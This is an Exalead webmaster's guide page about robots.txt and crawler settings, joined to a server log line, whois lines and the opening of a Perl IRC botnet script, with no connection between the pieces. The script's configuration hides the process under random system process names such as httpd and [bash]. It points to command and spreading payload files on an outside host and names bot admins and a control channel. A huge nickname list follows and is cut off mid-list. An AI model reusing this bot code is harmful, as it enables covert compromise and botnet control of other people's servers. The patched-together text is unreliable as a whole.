                    class="wikipedia"
                    title="Wikipedia Search"
                    
                    
                  >Wikipedia</a>
              </li>
            
          
        
        
        </ul>
    </div>
  </div>
</div>
      

      <div id="message-container" class="container message-container">
        
          


        
      </div>

      <div class="container search-container">
        
  







  <form id="search-form" class="form-inline text-center" action="/search/web/results/">
    <div class="input-append" style="margin: 0 auto;">
    
      <input type="text" class="span9" id="searchField" value="" placeholder="Search the web" name="q">
      <button class="btn" type="submit">Search</button>
      
    </div>
	<small style="padding-left: 20px" class="syntax-link hidden-phone hidden-tablet">Advanced Search</small>
  </form>



  
    <div id="advancedContainer"></div>
  

  
    <div class="suggest" style="display: none;">
      <a href="#" onclick="return false;" class="close fontSizeMedium">Close</a>
    </div>
  




        
          <div id="topbar" class="container">
            
            
          </div>
        
      </div>

      <div id="content" class="container">
        
        
        
<div id="faq" class="row-fluid">
<div class="span12">
<h2>Webmaster's guide</h2>
<ul id="toc"></ul>


<h3>How can I make my site appear in the search results?</h3>
<p>Several factors determine whether and where a particular website will appear in the search results. These factors can include the number of sites that have links to that particular site, and the content of the pages.</p>

<p>In addition, the Exalead search results are organized in order of relevance for each user query. Therefore the position of a site will change according to the search terms entered.</p>

<p>If your site is new and not linked to from other sites, you can use our submission form to submit your site so that it may be indexed and therefore included in our search results.</p>

<h3>How do I submit my site to the Exalead search engine?</h3>
<p>If your site is linked to from other sites already included in Exalead search index, you don't need to do anything. At the time of our next indexing, your site will be 'crawled' (indexed) and added to our engine. If your site is new and not linked to from other sites, use our submission form to submit your site.</p>

<h3>Why does "Exabot" crawl my site?</h3>
<p>"Exabot" is the User-Agent of Exalead's robot. Its role is to collect and index data from all around the world to supply our search engine. The Exabot agent crawls your site so that its content may be included in our main index, and hence included in our search results pages.</p>

<h3>Does the Exalead robot respect the rules recorded in a robots.txt file and the robots META tag?</h3>
<p>Yes. Exalead's Exabot robot fully complies with robots.txt and robots meta tag standards. Please visit <a href="http://www.robotstxt.org/">robotstxt.org</a> for more information regarding these specifications. Exalead also supports the special characters * and $, which were not included in the initial specification.</p>


<p>Robots.txt standards:</p>

<ul>
<li>To prevent indexing of pages from a particular directory (for example, football), enter the following in your robots.txt file:<br />
<code>User-agent: Exabot<br />
Disallow: football</code>
</li>
<li>To prevent indexing of a particular file type (.gif, par exemple), enter the following in your robots.txt file:<br />
<code>User-agent: Exabot<br />
Disallow: *.gif$
</code></li>
<li>To prevent indexing of dynamic pages, enter the following in your robots.txt file:<br />
<code>User-agent: Exabot<br />
Disallow: *?</code></li>
</ul>


<p>Robots META tag standards:</p>

<ul>
  <li>To prevent robots from indexing a page on your site, place the following META tag in the section &lt;HEAD&gt; of the page:<br />
  <code>&lt;meta name="ROBOTS" content="NOINDEX, NOFOLLOW"&gt;</code>
  </li><li>
  To authorize robots to index a page but to instruct them not to follow external links, use the following tag:<br />
  <code>&lt;meta name="ROBOTS" content="NOFOLLOW"&gt;</code>
  </li>
</ul>

<h3>Does your robot limit its bandwidth while crawling a site?</h3>
<p>Yes, using several methods:</p>

<ul>
<li>We respect a delay of three seconds between pages.</li>
<li>We use the "Last modified / If modified since" mechanism to refresh static content, if this function is supported by your server.</li>
<li>We use the "ETag / If no match" mechanism to refresh dynamic content, if this function is supported by your server.</li>
<li>We use HTTP compression technologies (gzip/deflate) to reduce the number of octets transferred to around one fifth of the file size, if this function is supported by your server.</li>
<li>We limit the bandwidth used while crawling multimedia files such as MP3.</li>
<li>We use detection algorithms to avoid using bandwidth for indexing non-relevant multimedia content.</li>
</ul>
<p>You can also specify a desired crawl-delay by adding the following text to your robots.txt file:</p>

<code>User-agent: Exabot<br />
Crawl-delay: 10</code>

<p>While you can regulate the crawl-delay according to your needs, remember the longer the crawl-delay specified, the slower your site will be indexed.</p>

<h3>What types of documents are crawled by the Exalead robot?</h3>
<p>The robot crawls HTML content, and popular office file formats (.pdf, Word, Excel, Powerpoint, Corel WordPerfect, Open Office and Rich Text Format), Shockwave Macromedia Flash, and other multimedia content.</p>

<h3>How may I exclude my site from being crawled by the Exalead robot?</h3>
<p>Create a simple text file named robots.txt, type in the following rules, and place the file in the root dircectory of your site:</p>

<code>User-agent: Exabot<br />
Disallow: /</code>

<p>For more information, please refer to question 4.</p>

<h3>How may I protect certain parts of my site from being crawled by the Exalead robot?</h3>
<p>Type the following rule into your robots.txt file, using "football" as the name for an example directory:</p>

<code>User-agent: Exabot<br />
Disallow: /football</code>

<p>For more information, please refer to question 4.</p>

<h3>How may I protect only certain pages of my site from being crawled by the Exalead robot?</h3>
<p>To protect specific pages from being crawled by the Exalead robot, a special META tag must be used between the "head" tags in the HTML files of your site.</p>

<ul>
  <li>If you do not wish the Exalead robot to follow specific links in a page of your site but still wish for the page to be indexed, you must add the following META tag: &lt;meta name="robots" content="nofollow"&gt;.</li>
  <li>If you do not want a particular page to be indexed, but you want the links of that page to other pages on your site to be followed, you must add the following META tag: &lt;meta name="robots" content="noindex"&gt;.</li>
  <li>You may combine these two tags to preclude indexing of both, the page and the included links, as follows: &lt;meta name="robots" content="nofollow,noindex"&gt;.</li>
</ul>
<p>Visit robotstxt for more information.</p>

<h3>How may I request that the Exalead robot refresh its index of my site?</h3>
<p>This is completely automatic, and will be done the next time our robot crawls your site. However if you wish to speed up this process, submit the page using our site submission form.</p>

<h3>How do I remove a page from the index?</h3>
<p>If a page is no longer indexable (because it is either in error or excluded by the robots.txt file), it will be removed the next time the engine crawls the site. To accelerate the process, you can submit the page to the engine using our site submission form, and it will be removed from the index at that point.</p>

<p>You can also use an HTML meta tag to prevent the Exalead robot from indexing certain pages. This tag is placed in the &lt;head&gt; section of your page.</p>

<ul>
<li>To prevent robots from indexing a page on your site, place the following meta tag in the &lt;head&gt; section of the page:<br />
<code>&lt;meta name="ROBOTS" content="NOINDEX, NOFOLLOW"&gt;</code>
</li>
<li>To allow robots to index a page, but to instruct them not to follow external links, use the following tag:<br />
<code>&lt;meta name="ROBOTS" content="NOFOLLOW"&gt;</code>
</li>
</ul>

<h3>How do I indicate to Exalead that my site has moved?</h3>
<p>Add a permanent redirect 301 from every page of your previous site to the new one. When Exabot refreshes your site index, it will remove the links from the previous site and replace them with the links to the new one. If you want to accelerate the process, you can submit the old and the new home page to the search engine using our site submission form.</p>

<h3>How do I test my robots.txt file?</h3>
<p>You can use our robots.txt analysis tool to:</p>

<ul>
  <li>Check specific URLs to see if your robots.txt file allows or blocks them.</li>
  <li>See if Exabot had trouble parsing any lines in your robots.txt file.</li>
  <li>Test changes to your robots.txt file.</li>
</ul>
<p>This tool allows you to verify if your robots.txt file excludes or permits access to certain URLs. With each test the file is refreshed, therefore you can test in real time. By contrast the 'live' version of the file used by the robot (the version on your web server) is only refreshed once per day. Therefore, anticipate a slight delay before changes made to the live version are effected.</p>

<h3>Why does the thumbnail preview image for my site look strange?</h3>
<p>The rendering tool we use to create thumbnails is similar to that of the Safari browser (the KHTML HTML layout engine). If your site does not render well in Safari, the thumbnail generated by Exalead may likewise not render well. We recommend you optimize your site for display in Safari/Konqueror so that the thumbnail generated will be of the highest quality possible.</p>

<p>In addition, the Exalead thumbnail generator cannot yet interpret Flash files. If your site uses Flash and the thumbnail is not appearing as you desire, we recommend you specify an alternate image to display for browsers which do not support Flash. Our engine will use this image to create a thumbnail. To provide an alternate image, add an "img" tag after the "embed" tag within the "object" tag containing you Flash animation. See the example below. For further information, please refer to your Flash documentation.</p>

<p>For example:</p>

<code>&lt;object classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0&quot; width=&quot;530&quot; height=&quot;80&quot;&gt;
&lt;param name=&quot;movie&quot; value=&quot;media/movie.swf&quot; /&gt;
&lt;param name=&quot;quality&quot; value=&quot;high&quot; /&gt;
&lt;embed src=&quot;media/movie.swf&quot; quality=&quot;high&quot; pluginspage=&quot;http://www.macromedia.com/go/getflashplayer&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;530&quot; height=&quot;80&quot;&gt;&lt;/embed&gt;
&lt;img src=&quot;media/image.jpg&quot; alt=&quot;Our product showcase&quot;&gt;&lt;/img&gt;
&lt;/object&gt;</code>



</div>
</div>


        
      </div>

    

    
      




<footer class="navbar navbar-bottom">
  <div class="navbar-inner">
    <div class="container">
      <ul class="nav nav-list hidden-phone">
        <li class="nav-header">Help</li>
        <li><a href="/search/faq">FAQ</a></li>
        <li><a href="/search/web/contact/">Feedback / Bugs</a></li>
      </ul>
      <ul class="nav nav-list hidden-phone">
        <li class="nav-header">Webmasters</li>
        <li><a href="/search/web/submit/">Add your site to the EXALEAD index</a></li>
        <li><a href="/search/checkRobot/">Can EXALEAD index your website?</a></li>
        <li><a href="/search/webmasterguide">Webmaster's guide</a></li>
        <li><a href="/search/widgets/search/generate/">Add the EXALEAD search to your website</a></li>
      </ul>
      <ul class="nav nav-list hidden-phone">
        <li class="nav-header">Downloads</li>
        <li><a href="/search/widgets/bookmarklet/">Bookmarklet</a></li>
        <li><a href="/search/widgets/searchbar/">Search Bar</a></li>
      </ul>
      <ul class="nav nav-list hidden-phone">
        <li class="nav-header">The company</li>
        <li><a target="_blank" href="http://blog.exalead.com/">Blog</a></li>
        <li><a target="_blank" href="http://www.3ds.com/products-services/exalead/">Company profile</a></li>
        <li><a target="_blank" href="http://www.3ds.com/jobs/jobs-search">Jobs</a></li>
        <li><a target="_blank" href="http://www.3ds.com/contact-us">Contact</a></li>
        <li><a target="_blank" href="https://fr.linkedin.com/company/exalead">LinkedIn </a></li>
        <li><a target="_blank" href="https://www.youtube.com/user/exalead">YouTube</a></li>
        <li><a target="_blank" href="https://twitter.com/3dsexalead">Twitter</a></li>
      </ul>
      <div class="legal"><small>
        <a href="/search/privacypolicy">Privacy policy</a>
        |
        <a href="/search/termsofservices">Terms of services</a>
        |
        <a href="/search/legalnotice">Legal Notice</a><br />
        More than 16 billion pages - © 2000-2015 Exalead - <a href="http://www.3ds.com/" class="cloaked">Dassault Syst&egrave;mes</a></small>
      </div>
    </div>
  </div>
</footer>
    

    

    
    

    

    

      
<script type="text/javascript">
var applicationName = 'web';var bookmarkRepositionURL = '/bookmarks/reposition/';var removeStarredResultUrl = '/bookmarks/removeStarredResult/';var bookmarkModifyURL = '/go/bookmarker/';var bookmarkDeleteURL = '/bookmarks/delete/';var EXALEAD_DESKTOP_LINK = 'http://localhost:17500/search/mypcSearch?q=';var bookmarkSafeSizeURL = '/bookmarks/saveSize/';var webSuggestURL = '/search/web/suggest/';var bookmarkModifyOnHomepageURL = '/bookmarks/modify_on_homepage/';var excludedRefinesURL = '/account/excludedrefines/';var webSearchAdvancedURL = '/search/web/advanced/';var addStarredResultUrl = '/bookmarks/addStarredResult/';var applicationID = 0;
var queryWithoutRefines = '';
</script>


      <script src="/content/js/base-min.js?1435213802"></script>

      <noscript>
        <style type="text/css">
          #content > .row-fluid.adjustable > [class*="span"] {
            height: auto;
          }
        </style>
      </noscript>
      <script>jQuery.noConflict();</script>
      <script>
        if (!window.console) {
          window.console = {log: function() {}};
        }
        (function($) {
            $content = $('#content > .row-fluid.adjustable > [class*="span"]');
            function sizeMainContent() {
                if ($(window).width() > 979 && $(window).height() > $(".search-container").height() + $("#header").height() + $("#content").height()) {
                    $('footer').addClass('navbar-fixed-bottom');
                    $('footer').removeClass('navbar-bottom');
                    $('#content').css("paddingBottom", $("footer").height() + "px");
                } else {
                    $('footer').removeClass('navbar-fixed-bottom');
                    $('footer').addClass('navbar-bottom');
                    $('#content').css("paddingBottom", "0");
                }
            }

            $(function() {
                sizeMainContent();

                $(window).on('resize', function() {
                    sizeMainContent();
                });
                $("footer li.nav-header").on('click', function(event) {
                    console.log("click");
                    $('footer').toggleClass('opened');
                    $('footer li:not(.nav-header)').toggle();
                    sizeMainContent();
                });

                $('#searchField').typeahead({
                  'name': 'search',
                  'remote': {
                    'url': '/search/web/suggest/?format=json&q=%QUERY',
                    'filter': function(parsedResponse) {
//                      console.log(parsedResponse[1]);
                      return parsedResponse[1];
                    }
                  },
                  'limit': 10
                });
                if (!document.location.hash) {
                    $('#searchField').focus();
                }

                $(".more-news-link a small").on("click", function() {
                  if ($(this).text() === "more...") {
                    $(this).text("less...");
                  } else {
                    $(".more-news-link a small").text("more...");
                  }
                });

                $('img[data-src]').attr("src", function() {return $(this).data('src')});
            });
        }(window.jQuery));
      </script>
      
<script type="text/javascript" src="/content/js/toc.js"></script>
<script type="text/javascript">
  window.onload = buildTOC("faq");
</script>

    
    
    <script>
      (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
      (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
      m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
      })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

      ga('create', 'UA-9259694-1', 'exalead.com');
      ga('send', 'pageview');
    </script>
  </body>
</html>
178.255.215.90 - - [25/Jun/2015:05:24:43 +0200] "GET /wp-content/plugins/wysija-newsletters/readme.txt HTTP/1.1" 404 300 "-" "Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)"
2015-05-13 00:30:02 69.64.43.218
websitelooker.com : 69.64.43.218
whois.domaintools.com : 69.64.43.218
#!/usr/bin/perl
#
###############################################
# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata
#	Anak
#                                                               
# X-zone [on] Dalnet © 2009                    
#								
#                                 
###############################################


use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
my @ps = ("/usr/sbin/ateam","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]"); 
$processo = $ps[rand scalar @ps]; 
my $linas_max='10';
my $sleep='3';
my $cmd="http://www.nd-burma.org/logs/r5.txt?";
my $id="http://www.nd-burma.org/logs/tmp/admin.txt??";
my $spread="http://www.nd-burma.org/logs/tmp/pot.txt??";
my @adms=("Dosha","Cynthia","Deo");
my @canais=("#DNC");
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
my @nickname = ("AyaX",
    "AbankSayang", 
    "AsMaraCinta",
    "ADmonZ",
    "AshemZ",
    "ArMoNe",
    "AstuTie",
    "ArManMuaLagi",
    "AsHiteNoYuKi",
    "AsTi`LuMut",
    "Alda^Cakhep",
    "AldaRiNa",
    "AdheLin",
    "AndreAz",
    "AgroLoG",
    "ASMatarz",
    "Angklugs",
    "Asmiati", 
    "Amaludin",
    "AiniMul",
    "Aachserem",
    "AmsterMoLd",
    "ArSmoDels",
    "ANgeL`T`Lork",
    "AnDho`Ra",
    "AndaIkuTahu",
    "AndrianiKu",
    "ANdrakuLi",
    "Ansri^Cute",
    "AntonLUCU",
    "AntaraAkudanDia",
    "ArdanCubby",
    "ArniCakep",
    "AranKal",
    "ArisTeleke", 
    "Armoniculun",
    "ArANSayNo",
    "AtakuCaruni",
    "AuSiBadeMu",
    "AureMaPende",
    "Axeslrod",
    "AKuSayangKamu",
    "AnDigusAe", 
    "AyKosHUki",
    "Aylinklung",
    "AziBishi",
    "BaKLucipok",
    "BackToLaptop",
    "BaBonNakal",
    "BaNdoCewek",
    "BagoLSadis",
    "BairlahKuPergi",
    "BakauHuNi",
    "BalaJar`Nich",
    "BallonBiru",
    "BalCoklat",
    "BalCeMara",
    "Bantal`ngePink",
    "BaraApiCinta",
    "BaraNgKali",
    "BarangCuriaN",
    "BaranKEceran",
    "BarBarLuCu",
    "BarbelaTi",
    "Barnekat",
    "BarnOrak",
    "BarrAngkaliKu", 
    "Barr4KUla",
    "BartaToMuda",
    "BartoTongan",
    "Bartomboyneh",
    "BasavAyach",
    "BasheVip",
    "BatchFiles",
    "BaumiNuman", 
    "BayGone",
    "BayoCie",
    "Beaconek",
    "Bealboleh",
    "BeanJelek",
    "BeckBones",
    "Bed2untukmu",
    "BedforKamusay",
    "Beha36c", 
    "BelangCowok",
    "Bela_Jar_ngeCok",
    "BeLMuarah",
    "BelidaCakep",
    "BellaMuanis",
    "BellHouseEnak",
    "BellIkanKucinta",
    "BellokKananTrusTerjun", 
    "Benedis-cute",
    "Bergosong",
    "Berke-keKele",
    "Bernardcupu",
    "Bernasabonar",
    "Bersamalagi",
    "Berrikankucintha",
    "BettiLaveani",
    "BeyCintakuini",
    "Biagiandalam",
    "BicelBoneng",
    "BiniIdaman",
    "Bir-dan-anggur",
    "BisMalam-minggu",
    "BishaAjadeh",
    "Black-Claw", 
    "Black-Cutes",
    "BlagiaPatahHati",
    "BlakoLakoke",
    "Blankpages",
    "BliSaMuanis",
    "BliardTukangUtang",
    "BlooNNih",
    "BloemBerKasa", 
    "BloSariKucing",
    "Blox34Mbakar",
    "BlyBongBokong",
    "BolGegerOtak",
    "BoKannyaCinta",
    "BolaCinta",
    "BolongCelanaku",
    "BonDuluyach", 
    "BonaKe",
    "BonitakuCakep",
    "BondanDonk",
    "BoKanHanyakamu",
    "Bookataue-book",
    "Boongkan",
    "BoorTanah",
    "Borcakdarah", 
    "Bordenhitan",
    "BosLagiapaneh",
    "BotLamaBanget",
    "BotoLDoDolz",
    "BouKamutuh",
    "BouCakepdeh",
    "Bourdengaku",
    "BoweLCutez",
    "BoxerCiPoK",
    "BoyaLiLiCUt",
    "BoyeNgLoloS",
    "BoyCakep",
    "BoyMacammacam",
    "BoYang",
    "Brayeswah",
    "Bra36c",
    "Brapik-apik", 
    "BrengCarako",
    "BreediMahal",
    "Brenang-di-laut",
    "BrendamDiPantai",
    "BrewbrowSosok",
    "Brewlakon",
    "BridgeCakep",
    "Bridganas", 
    "BrinTendang",
    "BritisSpirtus",
    "BroKoKok",
    "BrooNonton",
    "Brzykarte",
    "BuchaMacan",
    "Buddikucing",
    "Buldarisma",
    "BuTuti", 
    "Budarmansyah",
    "Bubursapi",
    "BurketLoh",
    "BurahMurah",
    "BusetLahLoh",
    "Byabuyar",
    "ByelahOke",
    "ByBoyCakep",
    "CageModel", 
    "CalmeCute",
    "CameSiniDonksay",
    "CamKuinirusak",
    "Canley",
    "Capanni",
    "Caperton",
    "Capocaccia",
    "Capodilupo", 
    "Cappuccio",
    "Capursi",
    "Caratozzolo",
    "Carayannopoulos",
    "Carlin",
    "Carlos",
    "Carlyle",
    "Carmichael", 
    "Caroti",
    "Carper",
    "Cartmill",
    "Cascio",
    "Case",
    "Caspar",
    "Castelda",
    "Cavanagh", 
    "Cavell",
    "Ceniceros",
    "Cerioli",
    "Chapman",
    "Charles",
    "Cheang",
    "Cherry",
    "Chervinsky", 
    "Chiassino",
    "Chien",
    "Childress",
    "Childs",
    "Chinipardaz",
    "Chinman",
    "Christenson",
    "Christian", 
    "Christiano",
    "Christie",
    "Christopher",
    "ChuPuZ",
    "Chupasko",
    "Church",
    "Ciampaglia",
    "Cicero", 
    "Cifarelli",
    "Claffey",
    "Clancy",
    "Clark",
    "Clement",
    "Clifton",
    "Clow",
    "Coblenz", 
    "Coito",
    "Coldren",
    "Colella",
    "Collard",
    "Collis",
    "Compton",
    "Compton",
    "Comstock",
    "Concino",
    "Condodina",
    "Connors",
    "Corey",
    "Cornish",
    "Cosmides",
    "Counter",
    "Coutaux", 
    "Crawford",
    "Crocker",
    "Croshaw",
    "Croxen",
    "Croxton",
    "Cui",
    "Currier",
    "Cutler",
    "Cvek",
    "Cyders",
    "daSilva",
    "Daldalian",
    "Daly",
    "D'Ambra",
    "Danieli",
    "Dante",
    "Dapice",
    "D'arcangelo",
    "Das",
    "Dasgupta",
    "Daskalu",
    "David",
    "Dawkins",
    "DeGennaro", 
    "DeLaPena",
    "del'Enclos",
    "deRousse",
    "Debroff",
    "Dees",
    "Defeciani",
    "Delattre",
    "Deleon-Rendon", 
    "Delger",
    "Dell'acqua",
    "Deming",
    "Dempster",
    "Demusz",
    "Denault",
    "Denham",
    "Denison", 
    "Desombre",
    "Deutsch",
    "D'fini",
    "Dicks",
    "Diefenbach",
    "Difabio",
    "Difronzo",
    "Dilworth", 
    "Dionysius",
    "Dirksen",
    "Dockery",
    "Doherty",
    "Donahue",
    "Donner",
    "Doonan",
    "Dore", 
    "Dorf",
    "Dosi",
    "Doty",
    "Doug",
    "Dowsland",
    "Drinker",
    "D'souza",
    "Duffin",
    "Durrett", 
    "Dussault",
    "Dwyer",
    "Eardley",
    "Ebeling",
    "Eckel",
    "Edley",
    "Edner",
    "Edward",
    "Eickenhorst", 
    "Eliasson",
    "Elmendorf",
    "Elmerick",
    "Elvis",
    "Encinas",
    "Enyeart",
    "Eppling",
    "Erbach", 
    "Erdman",
    "Erdos",
    "Erez",
    "Espinoza",
    "Estes",
    "Etter",
    "Euripides",
    "Everett",
    "Fabbris",
    "Fagan",
    "Faioes",
    "Falco-Acosta",
    "Falorsi",
    "Faris",
    "Farone",
    "Farren",
    "Fasso'",
    "Fates",
    "Feigenbaum",
    "Fejzo",
    "Feldman",
    "Fernald",
    "Fernandes",
    "Ferrante", 
    "Ferriell",
    "Feuer",
    "Fido",
    "Field",
    "Fink",
    "Finkelstein",
    "Finnegan",
    "Fiorina", 
    "Fisk",
    "Fitzmaurice",
    "Flier",
    "Flores",
    "Folks",
    "Forester",
    "Fortes",
    "Fortier",
    "Fossey", 
    "Fossi",
    "Francisco",
    "Franklin-Kenea",
    "Franz",
    "Frazier-Davis",
    "Freid",
    "Freundlich",
    "Fried", 
    "Friedland",
    "Frisken",
    "Frowiss",
    "Fryberger",
    "Frye",
    "Fujii-Abe",
    "Fuller",
    "Furth", 
    "Fusaro",
    "Gabrielli",
    "Gaggiotti",
    "Galeotti",
    "Galwey",
    "Gambini",
    "Gascaneld",
    "Garman", 
    "Garonna",
    "Geller",
    "Gemberling",
    "Georgi",
    "Gerrett",
    "Ghorai",
    "Gibbens",
    "Gibson", 
    "Gilbert",
    "Gili",
    "Gill",
    "Gillispie",
    "Gist",
    "Gleason",
    "Glegg",
    "Glendon",
    "Goldfarb", 
    "Goncalves",
    "Good",
    "Goodearl",
    "Goody",
    "Gozzi",
    "Gravell",
    "Greenberg",
    "Greenfeld", 
    "Griffiths",
    "Grigoletto",
    "Grummell",
    "Gruner",
    "Gruppe",
    "Guenthart",
    "Gunn",
    "Guo", 
    "Ha",
    "Haar",
    "Hackman",
    "Hackshaw",
    "Haley",
    "Halkias",
    "Hallowell",
    "Halpert",
    "Hambarzumjan",
    "Hamer",
    "Hammerness",
    "Hand",
    "Hanssen",
    "Harding",
    "Hargraves",
    "Harlow", 
    "Harrigan",
    "Hartman",
    "Hartmann",
    "Hartnett",
    "Harwell",
    "Haviaras",
    "Hawkes",
    "Hayes", 
    "Haynes",
    "Hazlewood",
    "Heermans",
    "Heft",
    "Heiland",
    "Hellman",
    "Hellmiss",
    "Helprin", 
    "Hemphill",
    "Henery",
    "Henrichs",
    "Hernandez",
    "Herrera",
    "Hester",
    "Heubert",
    "Heyeck", 
    "Himmelfarb",
    "Hind",
    "Hirst",
    "Hitchcock",
    "Hoang",
    "Hock",
    "Hoffer",
    "Hoffman",
    "Hokanson",
    "Hokoda",
    "Holmes",
    "Holoien",
    "Holter",
    "Holway",
    "Holzman",
    "Hooker",
    "Hopkins", 
    "Horsley",
    "Hoshida",
    "Hostage",
    "Hottle",
    "Howard",
    "Hoy",
    "Huey",
    "Huidekoper",
    "Hungerford",
    "Huntington",
    "Hupp",
    "Hurtubise",
    "Hutchings",
    "Hyde",
    "Iaquinta",
    "Ichikawa", 
    "Igarashi",
    "Inamura",
    "Inniss",
    "Isaac",
    "Isaievych",
    "Isbill",
    "Isserman",
    "Iyer", 
    "Jacenko",
    "Jackson",
    "Jagers",
    "Jagger",
    "Jagoe",
    "Jain",
    "Jamil",
    "Janjigian",
    "Jarnagin",
    "Jarrell",
    "Jay",
    "Jeffers",
    "Jellis",
    "Jenkins",
    "Jespersen",
    "Jewett",
    "Johannesson",
    "Johannsen",
    "Johns",
    "Jolly",
    "Jorgensen",
    "Jucks",
    "Juliano",
    "Julious", 
    "Kabbash",
    "Kaboolian",
    "Kafadar",
    "Kalbfleisch",
    "Kaligian",
    "Kalil",
    "Kalinowski",
    "Kalman", 
    "Kamel",
    "Kangis",
    "Karpouzes",
    "Kassower",
    "Kasten",
    "Kawachi",
    "Kee",
    "Keenan",
    "Keepper",
    "Keith",
    "Kelker",
    "Kelsey",
    "Kempton",
    "Kemsley",
    "Kendall",
    "Kerry",
    "Keul", 
    "Khong",
    "Kimmel",
    "Kimmett",
    "Kimura",
    "Kindall",
    "Kinsley",
    "Kippenberger",
    "Kirscht", 
    "Kittridge",
    "Kleckner",
    "Kleiman",
    "Kleinfelder",
    "Klemperer",
    "Kling",
    "Klinkenborg",
    "Klint", 
    "Knuff",
    "Kobrick",
    "Koch",
    "Kohn",
    "Koivumaki",
    "Kommer",
    "Koniaris",
    "Konrad",
    "Kool",
    "Korzybski",
    "Kotter",
    "Kovaks",
    "Kraemer",
    "Krailo",
    "Krasney",
    "Kraus",
    "Kroemer", 
    "Krysiak",
    "Kuenzli",
    "Kumar",
    "Kusman",
    "Kuwabara",
    "La",
    "Labunka",
    "Lafler",
    "Laing", 
    "Lallemant",
    "Landes",
    "Lankes",
    "Lantieri",
    "Lanzit",
    "Laserna",
    "Lashley",
    "Lawless", 
    "Lecar",
    "Lecce",
    "Leclercq",
    "Leite",
    "Lenard",
    "l'Enclos",
    "Lesser",
    "Lessi", 
    "Liakos",
    "Lidano",
    "Liem",
    "Light",
    "Lightfoot",
    "Lim",
    "Linares",
    "Linda",
    "Linder", 
    "Line",
    "Linehan",
    "Linzee",
    "Lippmann",
    "Lipponen",
    "Little",
    "Litvak",
    "Livernash", 
    "Livi",
    "Livolsi",
    "Lizardo",
    "Locatelli",
    "Longworth",
    "Lossthelok",
    "Loveman",
    "Lowenstein", 
    "Lozak",
    "Lubin",
    "Lucas",
    "Luciano",
    "Luczkow",
    "Luecke",
    "Lunetta",
    "Luoma",
    "Lussier", 
    "Lutcavage",
    "Luzader",
    "MaSakSendiri",
    "Maccormac",
    "Macdonald",
    "Maceachern",
    "Macintyre",
    "Mackenney", 
    "MacMillan",
    "Macyh",
    "Madigan",
    "Maggio",
    "Mahony",
    "Maier",
    "Maine-Hershey",
    "Maisano", 
    "Malatesta",
    "Maller",
    "Malova",
    "Manalis",
    "Mandel",
    "Manganiello",
    "Mantovan",
    "March", 
    "Marchbanks",
    "Marcus",
    "Margalit",
    "Margetts",
    "Marques",
    "Martinez",
    "Martochio",
    "Marton", 
    "Marubini",
    "Massih",
    "Matalka",
    "Matarazzo",
    "Matsukata",
    "Mattson",
    "Mauzy",
    "Maysaro", 
    "Mazzali",
    "Mazziotta",
    "Mcbride",
    "Mccaffery",
    "Mccall",
    "Mcclearn",
    "Mcdowell",
    "Mcelroy", 
    "McFadden",
    "Mcghee",
    "Mcgoldrick",
    "McIlroy",
    "Mcintosh",
    "Mckenna",
    "Mclane",
    "Mclaren", 
    "Mcnealy",
    "Mcnulty",
    "Meccariello",
    "Memisoglu",
    "Menzies",
    "Merikoski",
    "Merlani",
    "Merminod", 
    "Merseth",
    "Merz",
    "Metelka",
    "Metropolis",
    "Meurer",
    "Michelman",
    "Middle",
    "Mieher", 
    "Mills",
    "Minh",
    "Mini",
    "Minichiello",
    "Gonzalez",
    "Mitropoulos",
    "Mittal",
    "Mocroft", 
    "Modestino",
    "Moeller",
    "Mohr",
    "Moiamedi",
    "Monque",
    "Montilio",
    "MooreDeCh.",
    "Morani", 
    "Moreton",
    "Morrison",
    "Morrow",
    "Mortimer",
    "Mosher",
    "Mosler",
    "Mostafavi",
    "Motooka", 
    "Mudarri",
    "Muello",
    "Mugnai",
    "Mulkern",
    "Mulroy",
    "Mumford",
    "Mussachio",
    "Naddeo", 
    "Napolitano",
    "Nardi",
    "Nardone",
    "Naviaux",
    "Nayduch",
    "Nelson",
    "Nenna",
    "Nesci", 
    "Neuman",
    "Newfeld",
    "Newlin",
    "Ng",
    "Ni",
    "Nickerson",
    "Nickoloff",
    "Nisenson",
    "Nitabach", 
    "Notman",
    "Nuzum",
    "Ocougne",
    "Ogata",
    "Oh",
    "O'hagan",
    "Oldford",
    "Olsen",
    "Olson", 
    "Olszewski",
    "O'malley",
    "Oman",
    "O'meara",
    "Opel",
    "Oray",
    "Oscaneld",
    "Orsi", 
    "Ospina",
    "Ostrowski",
    "Ottaviani",
    "Otten",
    "Ouchida",
    "Ovid",
    "PaesDealmeida",
    "Paine", 
    "Palayoor",
    "Palepu",
    "Pallara",
    "Palmitesta",
    "Panadero",
    "Panizzon",
    "Pantilla",
    "Paoletti", 
    "Parmeggiani",
    "Parris",
    "Partridge",
    "Pascucci",
    "Patefield",
    "Patrick",
    "Pattullo",
    "Pavetti", 
    "Pavlon",
    "Pawloski",
    "Paynter",
    "Peabody",
    "Pearlberg",
    "Pederson",
    "Peishel",
    "Penny", 
    "Pereira",
    "Perko",
    "Perlak",
    "Perlman",
    "Perna",
    "Perone",
    "Perrimon",
    "Peters",
    "Petruzello",
    "Pettibone",
    "Pettit",
    "Pfister",
    "Pilbeam",
    "Pinot",
    "Plancon",
    "Plant", 
    "Plasket",
    "Plous",
    "Pohh",
    "Pocobene",
    "Poincaire",
    "Pointer",
    "Poirier",
    "Polak",
    "Polanyi", 
    "Politis",
    "Poma",
    "Poolman",
    "Powers",
    "Presper",
    "Preucel",
    "Prevost",
